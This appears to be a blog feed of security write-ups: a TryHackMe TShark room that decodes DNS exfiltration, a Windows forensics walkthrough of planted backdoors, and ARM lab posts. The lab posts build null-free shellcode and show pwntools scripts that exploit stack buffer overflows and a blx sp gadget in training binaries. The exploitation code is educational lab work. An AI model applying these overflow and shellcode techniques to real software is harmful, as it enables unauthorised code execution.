DEV Community: hextrace

TShark - TryHackMe

hextrace — Fri, 07 May 2021 12:31:10 +0000

This is a quick writeup of the TShark room of tryhackme.com.

TShark

TShark is a network protocol analyzer. It lets you capture packet data from a live network, or read packets from a previously saved capture file, either printing a decoded form of those packets to the standard output or writing the packets to a file.

Reading PCAP Files

TShark will display and number the packets. We can also use wc -l to count them:

$ tshark -r dns.cap
    1   0.000000 192.168.170.8 → 192.168.170.20 DNS 70 Standard query 0x1032 TXT google.com
    2   0.000530 192.168.170.20 → 192.168.170.8 DNS 98 Standard query response 0x1032 TXT google.com TXT
    3   4.005222 192.168.170.8 → 192.168.170.20 DNS 70 Standard query 0xf76f MX google.com
    4   4.837355 192.168.170.20 → 192.168.170.8 DNS 298 Standard query response 0xf76f MX google.com MX 40 smtp4.google.com MX 10 smtp5.google.com MX 10 smtp6.google.com MX 10 smtp1.google.com MX 10 smtp2.google.com MX 40 smtp3.google.com A 216.239.37.26 A 64.233.167.25 A 66.102.9.25 A 216.239.57.25 A 216.239.37.25 A 216.239.57.26
    5  12.817185 192.168.170.8 → 192.168.170.20 DNS 70 Standard query 0x49a1 LOC google.com
    6  12.956209 192.168.170.20 → 192.168.170.8 DNS 70 Standard query response 0x49a1 LOC google.com
    7  20.824827 192.168.170.8 → 192.168.170.20 DNS 85 Standard query 0x9bbb PTR 104.9.192.66.in-addr.arpa
    8  20.825333 192.168.170.20 → 192.168.170.8 DNS 129 Standard query response 0x9bbb PTR 104.9.192.66.in-addr.arpa PTR 66-192-9-104.gen.twtelecom.net
    9  92.189905 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0x75c0 A www.netbsd.org
   10  92.238816 192.168.170.20 → 192.168.170.8 DNS 90 Standard query response 0x75c0 A www.netbsd.org A 204.152.190.12
   11 108.965135 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0xf0d4 AAAA www.netbsd.org
   12 109.202803 192.168.170.20 → 192.168.170.8 DNS 102 Standard query response 0xf0d4 AAAA www.netbsd.org AAAA 2001:4f8:4:7:2e0:81ff:fe52:9a6b
   13 169.027394 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0x7f39 AAAA www.netbsd.org
   14 169.027781 192.168.170.20 → 192.168.170.8 DNS 102 Standard query response 0x7f39 AAAA www.netbsd.org AAAA 2001:4f8:4:7:2e0:81ff:fe52:9a6b
   15 178.239844 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0x8db3 AAAA www.google.com
   16 178.256382 192.168.170.20 → 192.168.170.8 DNS 94 Standard query response 0x8db3 AAAA www.google.com CNAME www.l.google.com
   17 187.853816 192.168.170.8 → 192.168.170.20 DNS 76 Standard query 0xdca2 AAAA www.l.google.com
   18 187.870481 192.168.170.20 → 192.168.170.8 DNS 76 Standard query response 0xdca2 AAAA www.l.google.com
   19 228.708302 192.168.170.8 → 192.168.170.20 DNS 75 Standard query 0xbc1f AAAA www.example.com
   20 228.941445 192.168.170.20 → 192.168.170.8 DNS 75 Standard query response 0xbc1f AAAA www.example.com
   21 240.323938 192.168.170.8 → 192.168.170.20 DNS 79 Standard query 0x266d AAAA www.example.notginh
   22 240.536930 192.168.170.20 → 192.168.170.8 DNS 79 Standard query response 0x266d No such name AAAA www.example.notginh
   23 271.164734 192.168.170.8 → 192.168.170.20 DNS 71 Standard query 0xfee3 ANY www.isc.org
   24 271.237338 192.168.170.20 → 192.168.170.8 DNS 115 Standard query response 0xfee3 ANY www.isc.org AAAA 2001:4f8:0:2::d A 204.152.184.88
   25 271.241158 192.168.170.8 → 192.168.170.20 DNS 82 Standard query 0x5a53 PTR 1.0.0.127.in-addr.arpa
   26 271.241746 192.168.170.20 → 192.168.170.8 DNS 105 Standard query response 0x5a53 PTR 1.0.0.127.in-addr.arpa PTR localhost
   27 271.244120 192.168.170.8 → 192.168.170.20 DNS 67 Standard query 0x208a NS isc.org
   28 271.259884 192.168.170.56 → 217.13.4.24  DNS 129 Standard query 0x326e SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.utelsystems.local
   29 271.262407 192.168.170.20 → 192.168.170.8 DNS 166 Standard query response 0x208a NS isc.org NS ns-ext.nrt1.isc.org NS ns-ext.sth1.isc.org NS ns-ext.isc.org NS ns-ext.lga1.isc.org
   30 271.279695  217.13.4.24 → 192.168.170.56 DNS 129 Standard query response 0x326e No such name SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.utelsystems.local
   31 271.280350 192.168.170.56 → 217.13.4.24  DNS 98 Standard query 0xf161 SRV _ldap._tcp.dc._msdcs.utelsystems.local
   32 271.297651  217.13.4.24 → 192.168.170.56 DNS 98 Standard query response 0xf161 No such name SRV _ldap._tcp.dc._msdcs.utelsystems.local
   33 271.298194 192.168.170.56 → 217.13.4.24  DNS 140 Standard query 0x8361 SRV _ldap._tcp.05b5292b-34b8-4fb7-85a3-8beef5fd2069.domains._msdcs.utelsystems.local
   34 271.317878  217.13.4.24 → 192.168.170.56 DNS 140 Standard query response 0x8361 No such name SRV _ldap._tcp.05b5292b-34b8-4fb7-85a3-8beef5fd2069.domains._msdcs.utelsystems.local
   35 271.419659 192.168.170.56 → 217.13.4.24  DNS 83 Standard query 0xd060 A GRIMM.utelsystems.local
   36 271.436583  217.13.4.24 → 192.168.170.56 DNS 83 Standard query response 0xd060 No such name A GRIMM.utelsystems.local
   37 278.861300 192.168.170.56 → 217.13.4.24  DNS 83 Standard query 0x7663 A GRIMM.utelsystems.local
   38 278.879313  217.13.4.24 → 192.168.170.56 DNS 83 Standard query response 0x7663 No such name A GRIMM.utelsystems.local
$ tshark -r dns.cap | wc -l
38

TShark allows us to use "display filters" the same way as in Wireshark. Here, we filter DNS queries:

$ tshark -r dns.cap -Y "dns.qry.type == 1"
   9  92.189905 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0x75c0 A www.netbsd.org
   10  92.238816 192.168.170.20 → 192.168.170.8 DNS 90 Standard query response 0x75c0 A www.netbsd.org A 204.152.190.12
   35 271.419659 192.168.170.56 → 217.13.4.24  DNS 83 Standard query 0xd060 A GRIMM.utelsystems.local
   36 271.436583  217.13.4.24 → 192.168.170.56 DNS 83 Standard query response 0xd060 No such name A GRIMM.utelsystems.local
   37 278.861300 192.168.170.56 → 217.13.4.24  DNS 83 Standard query 0x7663 A GRIMM.utelsystems.local
   38 278.879313  217.13.4.24 → 192.168.170.56 DNS 83 Standard query response 0x7663 No such name A GRIMM.utelsystems.local

We can also filter the packet structure. Here we extract only the DNS name field:

$ tshark -r dns.cap -Y "dns.qry.type == 1" -T fields -e dns.qry.name
www.netbsd.org
www.netbsd.org
GRIMM.utelsystems.local
GRIMM.utelsystems.local
GRIMM.utelsystems.local
GRIMM.utelsystems.local

DNS Exfiltration

Let's examine the pcap provided.

$ tshark -r pcap | wc -l
125

We have 125 packets.

$ tshark -r pcap -Y "dns.flags.response == 0" | wc -l 
56
$ tshark -r pcap -T fields -e dns.qry.name | uniq | wc -l 
56

There are 56 unique DNS queries.

Now if we look at some packets, we notice a strange 0xbeef transaction ID. It may be used on DNS server side to identify 'special' queries:

$ tshark -r pcap | head -n2
    1   0.000000  192.168.1.8 → 192.168.1.200 DNS 74 Standard query 0xbeef A M.m4lwhere.org
    2   0.019731 192.168.1.200 → 192.168.1.8  DNS 90 Standard query response 0xbeef A M.m4lwhere.org A 52.207.163.69

One thing differs in the 125 packets: the subdomain! It may be used to exfiltrate data. Let's find this out:

$ tshark -r pcap -Y "dns.flags.response == 0" -T fields -e "dns.qry.name" | sed "s/.m4lwhere.org//g" | tr -d "\n"
MZWGCZ33OMYHE4SZL5RDA6L2L5EV65RTL5TDC3BTOJSUIXZXNA2HI7IK

To auto-magically decode the exfiltered data, I rely on Ciphey

$ python3 -m ciphey -t "MZWGCZ33OMYHE4SZL5RDA6L2L5EV65RTL5TDC3BTOJSUIXZXNA2HI7IK"
Result 'flag{th1s_is_t0ugh_with0u7_tsh4rk!}' (y/N): y
Checker: passed with regex re.compile('(?i)(htb|thm|flag|ctf)\\{.*\\}', re.IGNORECASE)
Format used:
  base32
  utf8
Final result: "flag{s0rrY_b0yz_I_v3_f1l3reD_7h4t}"

Investigating Windows 2.0 - TryHackMe

hextrace — Wed, 10 Mar 2021 13:26:29 +0000

Here is the writeup for the room Investigating Windows 2.0.

This room is the continuation of Investigating Windows.

What registry key contains the same command that is executed within a scheduled task?

Open the task scheduler:

From Regedit, search for the task (e.g. sekurlsa or LogonPasswords). You'll end up there:



\HKCU\Environment\UserInitMprLogonScript

What analysis tool will immediately close if/when you attempt to launch it?

To get a good overview of the running maching, The SysInternals tools are the way to go. However, the famous process explorer refuses to start :



procexp64.exe

What is the full WQL Query associated with this script?

For this one, start Loki, the IOC scanner. It can take a while to run but it is super useful. It detected some suspicious/malicious files and gives us the culprit playing with procexp64 through WQL queries:

Query is:



SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = 'procexp64.exe'

What is the script language?

Open the file \TMP\WMIBackdoor.ps1:



vbscript

What is the name of the other script?

We'll have to read/understand the script to find this one. Loki also found it:



LaunchBeaconingBackdoor

What is the name of the software company visible within the script?

We can read it within comments:



Motobit Software

What 2 websites are associated with this software company?

We can also read the two URLS within the script comments:

http://www.motobit.com
http://Motobit.cz

Search online for the name of the script from Q5 and one of the websites from the previous answer. What attack script comes up in your search?



WMIBackdoor.ps1

What is the location of this file within the local machine?



C:\TMP

Which 2 processes open and close very quickly every few minutes?

By looking at the window titles:

mim.exe
powershell.exe

What is the parent process for these 2 processes?

We can start the SysInternals Process monitor procmon64.exe. The we can add filter on "Process Name" to mim.exe so we capture the process creation. In the properties of that event, we have the parent PID which is 916. In task manager, we can get the name for the pid 916 which is:



svchost.exe

What is the first operation for the first of the 2 processes?

Again in the process monitor, we can capture the first opertion made which is:



Process Start

Inspect the properties for the 1st occurrence of this process. In the Event tab what are the 4 pieces of information displayed?

Go back to the event properties:

Parent PID
Command line
Current directory
Environment



Parent PID, Command line, Current directory, Environment

Inspect the disk operations, what is the name of the unusual process?

The hint tells us to use Process Hacker.



No Process

Run Loki. Inspect the output. What is the name of the module after `Init`?

From 'loki-output.txt' MODULE section:



WMIScan

Regarding the 2nd warning, what is the name of the eventFilter?

From 'loki-output.txt' NAME section:



ProcessStartTrigger

For the 4th warning, what is the class name?

From 'loki-output.txt' CLASS section:



__FilterToConsumerBinding

What binary alert has the following 4d5a90000300000004000000ffff0000b8000000 as FIRST_BYTES?

From 'loki-output.txt' FIRST_BYTES section:



nbtscan.exe

According to the results, what is the description listed for reason 1?

From 'loki-output.txt' DESC section:



Known Bad / Dual use classics

Which binary alert is marked as APT Cloaked?

From 'loki-output.txt' FILE section



C:\TMP\p.exe



p.exe

What are the matches?

From 'loki-output.txt' MATCHES section

psexesvc.exe
Sysinternals PsExec



psexesvc.exe, Sysinternals PsExec

Which binary alert is associated with somethingwindows.dmp found in C:\TMP?

From 'loki-output.txt' FILE/INFO:



C:\TMP\schtasks-backdoor.ps1

or simply



schtasks-backdoor.ps1

Which binary is encrypted that is similar to a trojan?

Loki found a xor-encrypted binary ("Derusbi trojan") under C:\TMP\xCmd.exe



xCmd.exe

There is a binary that can masquerade itself as a legitimate core Windows process/image. What is the full path of this binary?

Remember pid 916 under name svchost? Loki raised an alert for a svchost located at:



C:\Users\Public\svchost.exe

What is the full path location for the legitimate version?

Svchost is a system process that can host one or many Windows services. It is lcoated at

%SystemRoot%\System32\Svchost.exe
%SystemRoot%\SysWOW64\Svchost.exe

and on the THM maching:



C:\Windows\System32

What is the description listed for reason 1?

Look at the corresponding DESC section:



Stuff running where it normally shouldn't

There is a file in the same folder location that is labeled as a hacktool. What is the name of the file?

Next to the malicious svchost.exe, there is a strange javascript file:



en-US.js

What is the name of the Yara Rule MATCH?

Loki raised a warning for that file, with the rule:



CACTUSTORCH

It looks like a javascript shellcode injector.

Which binary didn't show in the Loki results?



mim.exe

Complete the yar rule file located within the Tools folder on the Desktop. What are 3 strings to complete the rule in order to detect the binary Loki didn't hit on?

We'll have to complete the strings (regular expressions) of the provided yara rule. We can help ourselves with strings64.exe from SysInternals suite to test our regexps through findstr :



strings64.exe \tmp\mim.exe | findstr "??.?x?"
strings64.exe \tmp\mim.exe | findstr "...exe"
strings64.exe \tmp\mim.exe | findstr "mk.exe"

Finally,



mk.ps1, mk.exe, v2.0.50727

Alright, you're done!

This room was fun, I hope there's a 3.0 at some point! Congrats to heavenraiza, the creator of that one.

ARM hacking – shellcode exec

hextrace — Sun, 31 Jan 2021 11:54:39 +0000

In this exercise we'll hack control flow by rewriting pc, making it point to the hello wold shellcode we built in the previous article.

Here is the vulnerable program:

#include <stdio.h>

int main()
{
    char buffer[64];
    gets(buffer);
}

We already know that a pc copy is saved on the stack at buffer+68. Here we're going to write code that will jump into our shellcode. Well use a blx sp. To do so, we'll find an address for that instruction (a gadget) using ropper. The gadget can be found in the mapped libc (aslr off):

root@azeria-labs-arm:~/protostarm/stack5# ldd stack5 
    linux-vdso.so.1 (0xb6ffd000)
    libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6ede000)
    /lib/ld-linux-armhf.so.3 (0xb6fd6000)

We can use ropper to find a gadget allowing us to jump to sp; where our payload is located:

root@azeria-labs-arm:~/protostarm/stack5# ropper -f /lib/arm-linux-gnueabihf/libc.so.6 --search "b%x sp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: b%x sp

[INFO] File: /lib/arm-linux-gnueabihf/libc.so.6
0x0009f976 (0x0009f977): b #0x9f90e; mov r0, sb; bl #0x267e8; bl #0xa47c4; nop; bx sp; 
0x0009f97a (0x0009f97b): bl #0x267e8; bl #0xa47c4; nop; bx sp; 
0x0009f97e (0x0009f97f): bl #0xa47c4; nop; bx sp; 
0x00008b28 (0x00008b29): blx sp; 
0x00003db8 (0x00003db9): bx sp;

Ok so our payload will look like:

AAAAAAAA * 68 | gadget | shellcode

The blx sp will allow us to jump in the stack, where the shellcode is written. Here is she exploit:

#!/usr/bin/env python3

from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')
libc_base_addr = 0xb6ede000
blx_sp = struct.pack('<I', libc_base_addr + 0x8b28 + 1)
shellcode = b"\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x06\x22\x79\x46\x0e\x31\x01\x20\x04\x27\x01\xdf\x24\x1b\x20\x1c\x01\x27\x01\xdf\x68\x65\x6c\x6c\x6f\x0a\x00\x00"

i = 63
while True:
    i += 1
    print('test', i)
    payload = b'B' * i
    payload += blx_sp
    payload += shellcode
    process = socket.process('/root/protostarm/stack5/stack5')
    process.sendline(payload)
    try:
        res = process.recv().decode()
        print(res)
        if 'hello' in res:
            process.close()
            break

    except EOFError:
        pass

    process.close()

socket.close()

user@Azeria-Lab-VM:~/protoarm/stack5$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Disabled
test 64
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1705
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1705)
test 65
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1709
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1709)
test 66
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1714
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1714)
test 67
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1719
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1719)
test 68
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1723
hello\x00
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1723)
[*] Closed connection to '192.168.0.1'

There are more techniques to exploit this kind of vulnerabilities and to defeat protections.

ARM shellcode

hextrace — Sat, 30 Jan 2021 21:43:05 +0000

Lets transform the hello world code we wrote in the previous blog entry into a shellcode.

To remove all null bytes, we'll switch to THUMB mode. We also must find or apply some known tricks (e.g. init a register with zero).

This is our hello world in thumb without null bytes:

root@azeria-labs-arm:~/arm/hello# cat hello.s
.text
.global _start

_start:
    .code 32
    add r6, pc, #1
    bx r6

    .code 16
    mov r2, #6      @ strlen
    mov r1, pc      @ load pc
    add r1, #14     @ add str offset from pc
    mov r0, #1      @ stdout
    mov r7, #4      @ nr_write
    svc #1          @ syscall

    sub r4, r4, r4  @ r4 = 0
    mov r0, r4      @ exit 0
    mov r7, #1      @ nr_exit
    svc #1

.asciz "hello\n"    @ null terminated string

We can assemble it and verify it has no null bytes:

root@azeria-labs-arm:~/arm/hello# as hello.s -o hello.o -mthumb
root@azeria-labs-arm:~/arm/hello# objdump -d hello.o

hello.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f6001    add r6, pc, #1
   4:   e12fff16    bx  r6
   8:   2206        movs    r2, #6
   a:   4679        mov r1, pc
   c:   310e        adds    r1, #14
   e:   2001        movs    r0, #1
  10:   2704        movs    r7, #4
  12:   df01        svc 1
  14:   1b24        subs    r4, r4, r4
  16:   1c20        adds    r0, r4, #0
  18:   2701        movs    r7, #1
  1a:   df01        svc 1
  1c:   6c6c6568    .word   0x6c6c6568
  20:   0a6f        .short  0x0a6f
    ...

Ok let's try it:

root@azeria-labs-arm:~/arm/hello# ld hello.o -o hello
root@azeria-labs-arm:~/arm/hello# ./hello
hello

Good now let's try to execute it from C code. First we retrieve opcodes:

root@azeria-labs-arm:~/arm/hello# objcopy -O binary hello.o hello.bin
root@azeria-labs-arm:~/arm/hello# xxd -i hello.bin
unsigned char hello_bin[] = {
  0x01, 0x60, 0x8f, 0xe2, 0x16, 0xff, 0x2f, 0xe1, 0x06, 0x22, 0x79, 0x46,
  0x0e, 0x31, 0x01, 0x20, 0x04, 0x27, 0x01, 0xdf, 0x24, 0x1b, 0x20, 0x1c,
  0x01, 0x27, 0x01, 0xdf, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x0a, 0x00, 0x00
};
unsigned int hello_bin_len = 36;
root@azeria-labs-arm:~/arm/hello# hexdump -v -e ' "\\x" 1/1 "%02x"' hello.bin 
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x06\x22\x79\x46\x0e\x31\x01\x20\x04\x27\x01\xdf\x24\x1b\x20\x1c\x01\x27\x01\xdf\x68\x65\x6c\x6c\x6f\x0a\x00\x00

We can directly use that hello.bin in odzhan/shellcode:

root@azeria-labs-arm:~/arm/hello# ~/shellcode/runsc -f ./hello.bin -x

[ run shellcode v0.2
[ reading code from ./hello.bin
[ executing code...hello

We now have a valid shellcode, ready to be used within string manipulation functions such as srtcpy or fgets as we encountered previously in this series.

ARM Assembly – hello world

hextrace — Sat, 30 Jan 2021 19:27:34 +0000

ARM architecture was originally designed for an Acorn computer and meant Acorn Risc Machine. It has then become an independent brand for embeeded systems and actually means Advanced RISC Architecture. ARM Cores implement an additional instruction set called THUMB encoded in 16 bits.

Let's write an Hello World program in ARM:

.text
.global _start

_start:
    mov r2, #6  @ strlen
    mov r1, pc  @ load pc
    add r1, #24 @ add str offset from pc
    mov r0, #1  @ stdout
    mov r7, #4  @ nr_write
    svc 0       @ syscall

    mov r0, #0  @ exit_success
    mov r7, #1  @ nr_exit
    svc 0       @ syscall

.asciz "hello\n"    @ null terminated string

We have one function _start known as default entrypoint in one code section .text.

Then we have two blocks, one for writing, one for exiting (optional).

Registers r0 to r3 are used for parameter passing. Register r7 holds the syscall number

Let's assemble, link and run:

root@azeria-labs-arm:~/arm/hello# make
as hello.s -o hello.o
ld hello.o -o hello
root@azeria-labs-arm:~/arm/hello# file ./hello
./hello: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
root@azeria-labs-arm:~/arm/hello# ./hello
hello

Awesome, this is our first step to shellcode development.

ARM – rewrite PC

hextrace — Sat, 30 Jan 2021 17:25:05 +0000

In this article, we'll rewrite the pc register to take control of the program flow. This can be done though the vulnerable gets function

The source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    puts("congrats!\n");
}

int main()
{
    char buffer[64];
    gets(buffer);
    puts("nope\n");
}

The goal will be to call win by abusing gets.

The disassembly:

00010404 <win>:
   10404:       b580            push    {r7, lr}
   10406:       af00            add     r7, sp, #0
   10408:       4b03            ldr     r3, [pc, #12]   ; (10418 <win+0x14>)
   1040a:       447b            add     r3, pc
   1040c:       4618            mov     r0, r3
   1040e:       f7ff ef82       blx     10314 <puts@plt>        ; puts("congrats\n");
   10412:       bf00            nop
   10414:       bd80            pop     {r7, pc}
   10416:       bf00            nop
   10418:       00000086

0001041c <main>:
   1041c:       b580            push    {r7, lr}
   1041e:       b090            sub     sp, #64 ; 0x40
   10420:       af00            add     r7, sp, #0
   10422:       463b            mov     r3, r7
   10424:       4618            mov     r0, r3
   10426:       f7ff ef70       blx     10308 <gets@plt>       ; gets(buffer);
   1042a:       4b05            ldr     r3, [pc, #20]   ; (10440 <main+0x24>)
   1042c:       447b            add     r3, pc
   1042e:       4618            mov     r0, r3
   10430:       f7ff ef70       blx     10314 <puts@plt>
   10434:       2300            movs    r3, #0
   10436:       4618            mov     r0, r3
   10438:       3740            adds    r7, #64 ; 0x40
   1043a:       46bd            mov     sp, r7
   1043c:       bd80            pop     {r7, pc}               ; pc to be overwritten
   1043e:       bf00            nop
   10440:       00000070

This is our exploit:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010404)
    process = socket.process('/root/protostarm/stack4/stack4')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()

user@Azeria-Lab-VM:~/protoarm/stack4$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Disabled
[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1185)
test 63
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1189

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1189)
test 64
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1193

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1193)
test 65
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1197

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1197)
test 66
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1201

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1201)
test 67
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1205

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1205)
test 68
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1209
congrats!

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1597)
[*] Closed connection to '192.168.0.1'

Why 68? Well 64 for the buffer and 4 more for r7, the saved frame ptr.

Hack control flow – ARM sBOF

hextrace — Sat, 30 Jan 2021 12:23:43 +0000

In this episode of the ProtoARM series, we'll exploit a vulnerable program to change the 'normal' control flow. This is the vulnerable source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    puts("congrats\n");
}

int main()
{
    volatile int (*fp)() = NULL;
    char buffer[64];

    gets(buffer);   
    if (fp)
    {
        printf("jump to 0x%08x\n", fp);
        fp();
    }
}

Let's read the assembly of those two functions:

win function:

00000564 <win>:
prolog:
 564:   b580            push    {r7, lr}
 566:   af00            add     r7, sp, #0

good_boy:
 568:   4b03            ldr     r3, [pc, #12]   ; (578 <win+0x14>)
 56a:   447b            add     r3, pc
 56c:   4618            mov     r0, r3
 56e:   f7ff ef5a       blx     424 <puts@plt>
 572:   bf00            nop

epilog:
 574:   bd80            pop     {r7, pc}
 576:   bf00            nop

string_pool:
 578:   00000096

This function simply prints a message. Its address is 0x0564, there is some padding in the form of nops.

main function:

0000057c <main>:
prolog:
 57c:   b580            push    {r7, lr}
 57e:   b092            sub     sp, #72 ; 0x48
 580:   af00            add     r7, sp, #0
 582:   2300            movs    r3, #0
 584:   647b            str     r3, [r7, #68]           ; fp = NULL
 586:   1d3b            adds    r3, r7, #4
 588:   4618            mov     r0, r3                  ; r0 = buffer
 58a:   f7ff ef46       blx     418 <gets@plt>          ; gets(buffer);
 58e:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 590:   2b00            cmp     r3, #0                  ; fp == NULL?
 592:   d007            beq.n   5a4 <main+0x28>


 594:   6c79            ldr     r1, [r7, #68]           ; l1 = fp
 596:   4b06            ldr     r3, [pc, #24]           ; (5b0 <main+0x34>)
 598:   447b            add     r3, pc
 59a:   4618            mov     r0, r3                  ; r0 = fmt
 59c:   f7ff ef36       blx     40c <printf@plt>        ; printf("jump to 0x%08\n", fp);
 5a0:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 5a2:   4798            blx     r3                      ; jump to fp

exit_success:
 5a4:   2300            movs    r3, #0
 5a6:   4618            mov     r0, r3

epilog:
 5a8:   3748            adds    r7, #72 ; 0x48
 5aa:   46bd            mov     sp, r7
 5ac:   bd80            pop     {r7, pc}
 5ae:   bf00            nop
 5b0:   00000074        andeq   r0, r0, r4, ror r0

A buffer overflow will overwrite the function pointer allowing the user to jump to an arbitrary location.

Here is the exploit we can use. The payload contains sufficient amout of A's to fill the buffer and the address of win so it properly overwrites the fp variable:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010435)
    process = socket.process('/root/protostarm/stack3/stack3')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()

user@Azeria-Lab-VM:~/protoarm/stack3$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 61
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1565

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1565)
test 62
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1569
jump to 0x00000001

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1569)
test 63
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1573
jump to 0x00000104

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1573)
test 64
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1577
jump to 0x00010435
congrats


[*] Closed connection to '192.168.0.1'

Congrats! Next we'll discover how we can modify control flow without fp, but directly using the pc register.

ARM BoF exploit via pwntools

hextrace — Fri, 29 Jan 2021 19:26:35 +0000

This is our source code for the third exploit of this series on ARM hacking:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int main()
{
    int vulnerable = 42;
    char buffer[64] = { 0 };
    char *var = getenv("POC");

    if (var == NULL)
        errx(1, "set POC!\n");

    vulnerable = 42;
    strcpy(buffer, var);
    if (vulnerable != 0xdeadbeef)
        errx(1, "nope\n");

    printf("congrats!\n");
}

Our goal will be to understand ARM implementation of this, to identify the vulnerability and to exploit it!

The program disassembly:

000005bc <main>:
prolog:
 5bc:   b580            push    {r7, lr}
 5be:   b092            sub     sp, #72                 ; 0x48 bytes stackframe
 5c0:   af00            add     r7, sp, #0
 5c2:   232a            movs    r3, #42 ; 0x2a          ; r3 = 42
 5c4:   647b            str     r3, [r7, #68]           ; store 42 at first int in stack
 5c6:   463b            mov     r3, r7          ; buffer is at the other end of the stackframe
 5c8:   2240            movs    r2, #64                 ; r2 = 64
 5ca:   2100            movs    r1, #0                  ; r1 = '\0'
 5cc:   4618            mov     r0, r3          ; r0 = buffer
 5ce:   f7ff ef5c       blx     488 <memset@plt>        ; memset(buffer, '\0', 64); // bzero buffer
 5d2:   4b16            ldr     r3, [pc, #88]           ; (62c <main+0x70>)
 5d4:   447b            add     r3, pc
 5d6:   4618            mov     r0, r3
 5d8:   f7ff ef3e       blx     458 <getenv@plt>        ; getenv("POC");
 5dc:   6438            str     r0, [r7, #64]           ; r7 = var
 5de:   6c3b            ldr     r3, [r7, #64]           ; r3 = *var
 5e0:   2b00            cmp     r3, #0                  ; var == NULL?
 5e2:   d105            bne.n   5f0 <main+0x34>

poc_not_set:
 5e4:   4b12            ldr     r3, [pc, #72]           ; (630 <main+0x74>)
 5e6:   447b            add     r3, pc
 5e8:   4619            mov     r1, r3                  ; r3 = "set POC!\n"
 5ea:   2001            movs    r0, #1                  ; r0 = 1
 5ec:   f7ff ef52       blx     494 <errx@plt>          ; errx(1, "set POC\n");

copy_in_buffer:
 5f0:   232a            movs    r3, #42                 ; r3 = 42
 5f2:   647b            str     r3, [r7, #68]           ; vulnerable = 42 (oops, I initialized twice, see 0x5c4!)
 5f4:   463b            mov     r3, r7                  ; r3 = 42
 5f6:   6c39            ldr     r1, [r7, #64]           ; r1 = buffer
 5f8:   4618            mov     r0, r3                  ; r0 = var
 5fa:   f7ff ef28       blx     44c <strcpy@plt>        ; strcpy(buffer, var);
 5fe:   6c7a            ldr     r2, [r7, #68]           ; r2 = vulnerable
